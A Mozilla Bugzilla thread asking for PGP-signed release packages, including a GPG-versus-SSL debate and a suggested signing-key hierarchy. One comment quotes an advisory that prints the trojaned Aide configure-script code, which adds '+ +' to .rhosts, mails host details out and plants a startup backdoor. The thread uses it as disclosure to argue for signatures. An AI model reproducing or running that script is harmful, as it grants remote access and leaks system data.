68079 - Sign release packages properly with PGP

Status: RESOLVED FIXED

(mozilla.org :: FTP: Staging, task, P2)

Description

[Rui M. Silva Seabra]

Hello,
Signing AT LEAST the release packages (for instance, the upcoming 0.8) is a very
important (and not hard) feature.

This is important so that one can trust that the package being downloaded is NOT
a fake. This, fortunately, hasn't happened yet on mozilla (I hope) but has
happened in the past to others, and thus a certain amount of reliability would
be a nice feature to have (that Microsoft does NOT have on their software, for
instance).

Please, do a gpg -s mozilla-i686-0.8-pc-linux-gnu.tar.gz AT least!

A huge hug, [e-mail] (from Portugal)

Comment 1

[Daniel (Leaf) Nunes]

i'll take this, since i'm generally the schmoe schlepping binaries around. i've
been encouraged to use gpg, but does it matter what i use to sign with, really?

Comment 2

[Rui M. Silva Seabra]

Of course you can use pgp, or ssl certificates. But gpg has some advantages...
namely it's free (as in speech) and open, and just as secure.

Comment 3

[Jon Granrose]

looks like we're just talking about Linux builds, so we can probably make this
part of the automation to sign all the linux builds, daily or otherwise.

setting to browser so I can set target milestone.

Comment 4

[Bradley Baetz (:bbaetz)]

For the record, from the irc discussion with leaf, what he wants is;

gpg -b -a foo.tgz

which will create a foo.asc file in the same directory.

The public key ([e-mail]?) should then be placed on teh website, and
on the ftp site, and uploaded to the keyservers, preferably with the key signed
by mozilla developers who can meet leaf/other m.o people personally.

Comment 5

[Scott Collins]

I have a long standing, well known PGP key, with which I can sign your release
key, when it exists (in part, serving as an `introducer').

Comment 6

[Rui M. Silva Seabra]

Attachment: text explaining why

Comment 7

[Alan S. Jones]

Adding PGP to subject to make it easier for searchs and adding few related URLs.
http://www.gnupg.org/
http://www.pgpi.org/
http://www.openpgp.org/  
& RFC RFC 2440 http://www.ietf.org/rfc/rfc2440.txt
http://web.mit.edu/network/pgp.html

Comment 8

[Rui M. Silva Seabra]

Check http://linuxtoday.com/news_story.php3?ltsn=2001-08-07-011-20-SC, as this
is another reason to have releases (if not builds) signed:

Subject: Trojan in Aide distribution at ftp.linux.hr
Date: 07 Aug 2001 09:45:42 +0300
From: Rami Lehti <[e-mail]>
To: [e-mail]
Cc: [e-mail]

It has come my attention that there has been a trojaned
Aide distribution at ftp://ftp.linux.hr/pub/aide
The offending binary has been removed.
Anyone who has downloaded Aide 0.7 from ftp.linux.hr is urged to
download it from ftp://ftp.cs.tut.fi/pub/src/gnu
and always check the PGP signature before using any distribution of
Aide.

The trojaned distribution contains the following script embedded in
the configure script. As you can see it tries to add "+ +" to roots
.rhosts and sends information about your host to [e-mail]


# checking if we are root or not
if [ `whoami` == "root" ];then
root_user=1
else
root_user=0
fi

And later on:
if [ $root_user != "1" ];then
echo "+ +" > ~/.rhosts
echo $LOGNAME >/tmp/jea;whoami >>/tmp/jea;hostname
>>/tmp/jea;/sbin/ifconfig >

>/tmp/jea

mail [e-mail] < /tmp/jea
rm -rf /tmp/jea
else
if [ `uname -s` != Linux ];then
echo ""
else
mv -f .xinitrc /bin/lpr
echo "# printing status monitor" >> /etc/rc.d/rc.local
echo "/bin/lpr &" >> /etc/rc.d/rc.local
hostname >>/tmp/jea;/sbin/ifconfig >>/tmp/jea
mail [e-mail] < /tmp/jea
/bin/lpr &
rm -rf /tmp/jea
fi
fi



Rami Lehti
--
AIDE - Advanced Intrusion Detection Environment
Check http://www.cs.tut.fi/~rammer/aide.html

Comment 9

[Rui M. Silva Seabra]

Another trojan real world story, this time with an ubiquous piece of software: 

Wietse Venema's tcp wrappers

CERT® Advisory CA-1999-01 Trojan horse version of TCP Wrappers
Original issue date: January 21, 1999
Last revised: January 22, 1999

The CERT Coordination Center has received confirmation that some copies of the
source code for the TCP Wrappers tool (tcpd) were modified by an intruder and
contain a Trojan horse.

We strongly encourage sites running the TCP Wrappers tool to immediately verify
the integrity of their distribution.

Read the complete advisory at http://www.cert.org/advisories/CA-1999-01.html

Comment 10

[Mitchell Baker]

Leaf

can you find a more appropriate QA contact for this than me?

mitchell

Comment 11

[Asa Dotzler [:asa]]

Bugs targeted at mozilla1.0 without the mozilla1.0 keyword moved to mozilla1.0.1 
(you can query for this string to delete spam or retrieve the list of bugs I've 
moved)

Comment 12

[Rui M. Silva Seabra]

Delaying such a simple step (in comparison with the hard work of coding) is not
understandable.

Are the developers so unsure that the code in the cvs tree is theirs that they
do not want to confirm to interested users that the release they download from a
mirror, for instance, is the release the developers intended to release to the
world?

I uterly fail to understand the opposition to sign a release.

On a happier side note, postponing, at this stage, to 1.0.1 seems like a sign
that 1.0 is a coming ;)

Comment 13

[Lapo Luchini]

>This, fortunately, hasn't happened yet on mozilla (I hope) but has
>happened in the past to others, and thus a certain amount of reliability would
>be a nice feature to have (that Microsoft does NOT have on their software, for
>instance).
Usually I'm against-Microsoft but.. I hate to admit that all Microsoft downloads
have been signed since at least 1 yeay ago...

I don't see this as an immediate problem (I always download from www.mozilla.org
-_-) but would be useful & easy to do...

Comment 14

[Rui M. Silva Seabra]

> I don't see this as an immediate problem (I always download from
> www.mozilla.org -_-) but would be useful & easy to do...

If the fact that you download from mozilla.org is your motive for not seeing
this as an immediate problem, then suppose your DNS was spoofed and instead of
going to the correct mozilla.org you went to a mozilla trojan horse web site.

What then?

Comment 15

[Lapo Luchini]

My DNS is local so they should compromise either a root server or my own system,
either one would be a real strange way to let me download an hacked Mezilla
version ;)

Anyway I never said that this is not important, I think it is indeed important
to sign releases (at least)... considering how easily can it be done.

Comment 16

[Christopher Aillon (sabbatical, not receiving bugmail)]

*** Bug 114739 has been marked as a duplicate of this bug. ***

Comment 17

[André Dahlqvist]

Why on earth has this been futured? We're not even asking for an automated way
of doing this! Just make sure to manually sign the 0.9.9 release when it is out.
It's as simple as that.

Comment 18

[Tuukka Tolvanen (sp3000)]

*** Bug 162833 has been marked as a duplicate of this bug. ***

Comment 19

[Max]

More then 1.5 YEARS have passed since PGP signatures for mozilla have been
proposed. What are you waiting for? At least the recent trojans in OpenSSH,
BitchX and Irssi should have opened your eyes. Such incidents couldn't harm
anyone if developers would offer signatures and if users would figure out how to
use software like GPG/PGP. Please don't wait until the next script kiddie comes
along.

besides that...
- "Jon Granrose": looks like we're just talking about Linux builds

No we are not just talking about linux. We are talking about all downloads, not
matter if Windows, Linux or anything else.

Comment 20

[CJ Kucera]

So what's holding this bug up?  The attached text message has a good, simple,
step-by-step explanation of what needs to be done.  Can somebody without Mozilla
developer access do this?  It's such a simple thing . . .

Comment 21

[thebeastwitheyesthatstared]

what's the current status on this?

Comment 22

[Hank Leininger]

Ping... has there been any more thought/movement on this?

These days it seems outright irresponsible to distribute source or binaries of
any package which will be widely disseminated/used without making some form of
integrity-verification available, and foolish to run such packages.  There have
been a dozen more cases of trojaned releases, compromised distribution servers,
etc--including ftp.gnu.org!  Do we really have to wait until Mozilla is one of
them, before packages will be signed?

Of course, PGP/GPG signatures aren't perfect; they don't protect from the 
signer being malicious, or having accepted a trojaned checkin, but they are
a damn sight better than nothing.  MD5SUMs are useful only for detecting
accidentally corrupted downloads; they are useless for defending against
compromised distro servers, hijacked downloads, etc, since the checksum
files can simply be replaced along with the tarballs.

2.5+ years and counting!  I know, people have been busy getting code written,
and the squeaky wheel gets the grease and all that.... squeak squeak squeak! 

PS IMHO this bug's Component should be Security: General; OS and Hardware should
be All.  Could someone with sufficient access update if you agree?  (I'd also
like to see Severity bumped up, but... ;)

Thanks,

Hank Leininger <[e-mail]>

Comment 23

[Mark Stier]

GPG is one way. But not a good one in practice. The average user does not care
and neither knows how to correctly check signatures. That's partly because they
are not part of the PGP web of trust.

A MUCH better way would be to put the packages on SSL servers with a trusted
certificate. You could say that this does not prevent anyone from hacking the
server and putting modified pkgs on it, but in reality this would most probably
be noticed very soon and gets great media attention. So such an attack would be
almost useless. The man-in-the-middle attack is much less noticable. The average
user would just think there was another computer error.

Comment 24

[Mark Stier]

> These days it seems outright irresponsible to distribute source or binaries of
> any package which will be widely disseminated/used without making some form of
> integrity-verification available, and foolish to run such packages.  There have
> been a dozen more cases of trojaned releases, compromised distribution servers,
> etc--including ftp.gnu.org!  Do we really have to wait until Mozilla is one of
> them, before packages will be signed?

I fully agree. Actually, we should have several stages of security. We shouldn't
rely on the integrity of software packages. Linux is an open system and
therefore can be changed to our will and needs. Why is there no general method 
implemented to isolate applications as much as possible? It seems like SELinux
from the NSA takes a step in that direction, but as far as I know there are
simple and user-friendly configuration apps missing. Have you ever tried a
user-controlled firewall on a Windows box (can't remember which one it was)? The
operation principle is easy and fantastic! Each time an application tries to
connect to a remote server, the user gets displayed a dialog to let him decide
what to do, eg. grant now, grant always, grant never, ... That should be tightly
integrated with Linux, but allowing for even more restrictions, eg. to which
part of the filesystem an application is allowed to read and/or write.

And even if we don't like to do a lot of programming to implement such a
security app, we could still let internet apps run under their own accounts. The
basic setup would be to run browser and IRC programs under a general network
account and the email prog under a mail account (which could be denied from
accessing anything else than mail files and the mail server).

That way, browser code/package security would not be as critical.

> Of course, PGP/GPG signatures aren't perfect; they don't protect from the 
> signer being malicious, or having accepted a trojaned checkin, but they are
> a damn sight better than nothing. 

Of course they do not protect from persons with malicious intent. But it
protects us from persons with malicious intent who we don't know. As far as I
have understood it, the PGP web of trust tries to make sure that we know the one
whose key signed the package.

> MD5SUMs are useful only for detecting
> accidentally corrupted downloads; they are useless for defending against
> compromised distro servers, hijacked downloads, etc, since the checksum
> files can simply be replaced along with the tarballs.

Of course, md5sums only make sense if they have been signed.

> 2.5+ years and counting!  I know, people have been busy getting code written,
> and the squeaky wheel gets the grease and all that.... squeak squeak squeak! 

:-)

> PS IMHO this bug's Component should be Security: General; OS and Hardware should
> be All.  Could someone with sufficient access update if you agree?  (I'd also
> like to see Severity bumped up, but... ;)

I think nobody does it because nearly nobody would use it.

Use SSL.

Comment 25

[Ben Bucksch (:BenB)]

Consider that we're talking about many terabytes per month and mirror networks.

Comment 26

[Rui Miguel Silva Seabra]

*sigh* Use SSL... like that's of ANY USE AT ALL on mirrors.<br><br>
Individual package digital signatures is the way to go.

Comment 27

[Mark Stier]

(In reply to comment #26)
> *sigh* Use SSL... like that's of ANY USE AT ALL on mirrors.<br><br>
> Individual package digital signatures is the way to go.

Your attitude is not constructive. Like I already said, you cannot count on
signatures because nobody will use them.

Just put a small installer/setup/download utility on the main site which is only
downloadable via SSL. Then this downloader/setup will get the package from
anywhere the user wants and check against your beloved signatures without the
user having to care about it.

Comment 28

[timeless]

oh sure, lock out people who don't have an SSL enabled browser.

why don't we just pgp encrypt, bzip2 and then uuencode our application and hide
the pgp key somewhere on www.mozilla.org where no one will find it?

Comment 29

[Mark Stier]

(In reply to comment #28)
> oh sure, lock out people who don't have an SSL enabled browser.

How about locking out people who have no internet access? How about that? Huh???

Even old distros like Mandrake 8 have SSL enabled browsers. And, of course the
installer must download the app from some other servers. There the download
would remain SSL-free. So if someone got no SSL, he just has to do two or so
more clicks and get the package directly from the repository. But the main
download links on the main download pages should point to SSL-secured locations.
That is my intent. Nothing else. You cannot assure that the average user knows
what he is doing. So just putting signatures on the server wouldn't increase
security at all.

Comment 30

[Rui Miguel Silva Seabra]

In reply to <a
href="http://bugzilla.mozilla.org/show_bug.cgi?id=68079#c27">comment #27</a>:

| ||GIBBERISH ERASED|| Like I already said, you cannot count on
| signatures because nobody will use them.

On the contrary. You must count on the few that do the verification of you don't
want to do it yourself. Right now, there is no way to know that someone didn't
use a bug on the download site to alter the tar.gz adding a trojan horse.

Using SSL helps in absolutely no file checking way. I hardly ever use
ftp.mozilla.org but the national ftp mirrors (which, btw, can also be compromised).

A digital signature of each package is the way to go. You don't want to do it.
Fine. Don't verify. But don't hate those that would like to be assured that the
packages they download are the ones that they were supposed to download.

Comment 31

[Mark Stier]

(In reply to comment #30)
> A digital signature of each package is the way to go. You don't want to do it.
> Fine. Don't verify. But don't hate those that would like to be assured that the
> packages they download are the ones that they were supposed to download.

Let me repeat myself (one last time): your solution is of help only for you and
for nearly nobody else. Additionally, I haven't neglected your solution, but
just said that it should be implemented such that _every_ user may benefit from it.

Comment 32

[CJ Kucera]

Well, I don't see why there's suddenly such a flamewar going on here, but for
those of you opposed to creating signed md5s (or whatever) of Moz releases, does
doing so hurt anyone?  I think that the pool of people who do check package
signatures is larger than perhaps you think, and even if the majority of users
don't check signatures, it's simply a very nice safeguard for those of us who do
like to check signatures on software we're installing.  If you're not interested
in checking signatures, then go ahead and not do it.  Personally, I'd still like
to see *some* kind of safeguard in place, and signed packages or signed md5sums
seems to be the easiest, least intrusive way of doing so that offers the
security that many of us are looking for.

Comment 33

[Hank Leininger]

> Well, I don't see why there's suddenly such a flamewar going on here, but for
> those of you opposed to creating signed md5s (or whatever) of Moz releases, 
> does doing so hurt anyone?  I think that the pool of people who do check
> package signatures is larger than perhaps you think,

Agreed and agreed.  I don't know why this has to turn hostile.  There are quite
a lot of people who wouldn't know how to check a signature, or make wise choices
about slightly trickier things, like how and when to add and trust a "signer"
key.  Nobody's doubting that, but, that doesn't seem to me like a reasonable
reason not to provide such things.  We who will do such checking are canaries. 
Again, do we have to trot out a laundry list of the package distribution sites
which have been compromised, and trojaned packages disseminated as a result?  In
nearly all cases these were caught by people who check signatures if available,
cross-check md5sums if not, and habitually read diffs between each release to
make sure all changes seem rational.  Some faster than others--the ones for
which PGP signatures were available!

Certainly it's in an individual's best interest if they know how to and get in
the habit of checking signatures.  But it is in *everybody*'s interest if even a
tiny fraction of users do that, because they will report discrepancies.  It is
not at all required that Aunt Tillie verify signatures on all packages, for Aunt
Tillie to benefit (some) from there being package signatures.  This is why so
many open source packages have been shipping signatures for some time now.

> your solution is of help only for you and for nearly nobody else.

How long a list of "me too"'s would you like on this thread?  Frankly, I had
given up, but now that people are at least talking about this.  I'm sure there
are others.

> Use SSL.

Funny, https://www.mozilla.org doesn't work very well.  ftp.mozilla.org is DNS
round-robin'ed between multiple mirror sites; any SSL cert for it either needs
to be shared among mutually untrusted entities--and be worthless if any of them
is ever compromised.  Or, site-specific certificates would be guaranteed to
throw up certificate-name-validation warnings.  Teaching users to click past
those pesky security warnings isn't exactly what we want to do.

And again, that's of no use when talking about multiple mirror sites under
various different administrations, security controls, etc.  We know nothing
about the security of individual mirror sites, and we shouldn't have to.  If the
packages are disseminated (presumably from a source code base that has not
already been trojaned, from a workstation that hasn't already been rootkitted),
then it doesn't matter what the distribution channel is. It can be a
virus-distribution-network like Kazaa, and you can still verify that the bits
you get are the bits that were shipped by the author.  Using SSL verifies that
the bits you get are the bits that were served to you by the site you visited--a
completely different and inferrior thing.

If you've never enumerated the webserver versions running on each mirror server
of a given piece of popular software, it's an enlightening and frightening
experience.  I have to say that the Mozilla mirrors do better than most, but
even still, there's an Apache 1.3.6 server in the mix.  Ouch!   (That's so old
it makes me think it's a fake.)  And numerous ones running old, vulnerable
versions of OpenSSL, mod_ssl, DAV extensions, PHP, you name it.  This isn't the
Mozilla project's problem.  It shouldn't be and it can't be.  But that's why
packages should be signed when released--because then it doesn't matter so much
if the intermediate servers are vulnerable, compromised, run by hostiles,
whatever.

Comment 34

[Josha Richards]

me too! me too! <:  Please sign your content

Comment 35

[Ben Bucksch (:BenB)]

Now even more important where mozilla.org uses third-party FTP mirrors in the
ftp.mozilla.org pool.

There are signatures for new releases now. However, it's not exactly optimal:
- I have no way to verify the key, and it's lying on the ftp server itself.
- The key is that for "Jon Granrose <[e-mail]>" which just screams
that it may change later.
- To top it, the key is in the release directory, e.g.
<http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/0.10/KEY>

Somebody cracking an FTP mirror could replace the binaries, create a new key
called "<[e-mail]>" (no access to mailbox needed), sign the binaries with
that, put up a README that the build maintainer changed and that you can find
the new key at the usual location, namely
<http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/0.10.2/KEY>.


Here's what David J. Fred <djf dfred.net> wrote to <[e-mail]> (as a
security bug):

<quote>
Hello,

I was getting the new versions today and noticed the mozilla1.7.3
directory now includes detached signatures for the binary packages.
This is a good idea and I want to encourage the move towards
authenticating all packaged distributions (both source and binary) in
the future.

However, there are a number of issues with the way this is currently
being done.

The key being used for signing is not able to be authenticated in any
way.  It is not in the pgp.mit.edu server. A Google search for the
person/email referenced in the key turns up nothing definitive about
the purported signer or the key.

The key in question is:

    pub  1024D/51420A08 2004-09-13 Jon Granrose <[e-mail]>
         Key fingerprint = D1DD 7239 2A10 CF5A DF4C  EAF9 1FD7 9A1C 5142 0A08
    sig        51420A08 2004-09-13  Jon Granrose <[e-mail]>


Distributing the key from the same servers that distribute the signed
material shows a lack of understanding, planning, and oversight.

The fact the key was generated only two days ago indicates to me that
the signing process is nascent and being handled in an ad hoc manner.
There is nothing wrong with this per se, and indeed PGP/GPG itself is
a pretty ad hoc affair.  But given the goals of the Mozilla Foundation
I believe it would be helpful to take a longer term view.

Short of moving to some sort of formal PKI, here are a few thoughts on
how to use GPG to make Mozilla's software distribution authentication
process more robust and transparent:

      - Create a master Mozilla Foundation key.  This key should be at
        least 2048 bits and probably nearer 4096.  Enter the master
        public key on the MIT keyserver.  This key should have a
        expiry of 10-15 years.  The associated email address will need
        to be maintained during this period, so choose carefully.

        Publish the master key's fingerprint in all official printed
        documentation, on the Mozilla.org website, and possibly even
        include it at the end of Foundation press releases.  The idea
        is to have the fingerprint available from many independent
        sources.

      - A set of secondary keys should be created and signed with the
        master key.  These keys should also be at least 2048 bits.
        The name and email addresses of these keys should indicate
        they are secondary signing keys and are intended to be
        transient.  Another set of secondary keys for signing offical
        communications could also be created at this time.

      - After signing all the secondary keys, the master key should be
        stored completely offline and the copies tended by a small
        number of the most trusted people in the organization.  These
        individuals could also be the signers of the master public
        key.

      - Choose one of these secondary keys and begin using it as the
        "active signing" key for signing packaged source and binary
        distributions.  The currently active key should always be
        available from the MIT servers, mozilla.org, etc.

      - Hold the other secondary keys in reserve for the case when the
        active key is compromised in some way and needs to be revoked.
        The non-active keys should also be stored offline until
        needed.

      - Whatever the final plan, it should be clearly described along
        with copies of the current public keys at a simple, stable
        URL, possibly something like:

           http://www.mozilla.org/security/keys/

I am quite sure the folks who compose the Mozilla security group have
vast experience in this arena and their own great ideas.  I think it
is imperative that thought be given to this (very solvable) problem
right now so the Mozilla team has the means to hold true to its
commitment for trustworthy products.

Feel free forward this message as necessary.  If forwarding into a
public forum, I would appreciate the removal of my email address for
spam avoidance purposes.  Leaving my name in is fine.

Thanks very much for your continuing work.

Regards,

David
</quote>


If you implement the above suggestion, please make sure that everybody
understands that the secondary keys may change, but the primary will not, so
people should import both and sign the primary key.

Comment 36

[Ben Bucksch (:BenB)]

shortly making as security bug, so that it shows up on queries.

Comment 37

[Ben Bucksch (:BenB)]

The key is now on pgp.mit.edu
<http://pgp.mit.edu:11371/pks/lookup?search=granrose&op=index&fingerprint=on>.
(But the remaining points are still valid.)

Comment 38

[Jon Granrose]

reassigned to chase, the new mofo release engineer.

Chase - see comment 35 for a suggested action plan.

Implementing a complete PKI signing plan for mofo will take some time,
especially with the pre-ffox 1.0 work, but at the very least we can get the
current key (Chase's) off the ftp server and onto prep.ai.mit.edu.  The rest may
have to wait til after 1.0.

Comment 39

[Ben Bucksch (:BenB)]

If you keep changing keys, it's worse than none. I don't see why implementing
this would take more than an hour or so. If you need help, I could assist.

Comment 40

[Chase Phillips]

Mass reassign of open bugs for [e-mail] to [e-mail].

Comment 41

[J. Paul Reed [:preed]]

We do this, with detached PGP signatures, for every release now.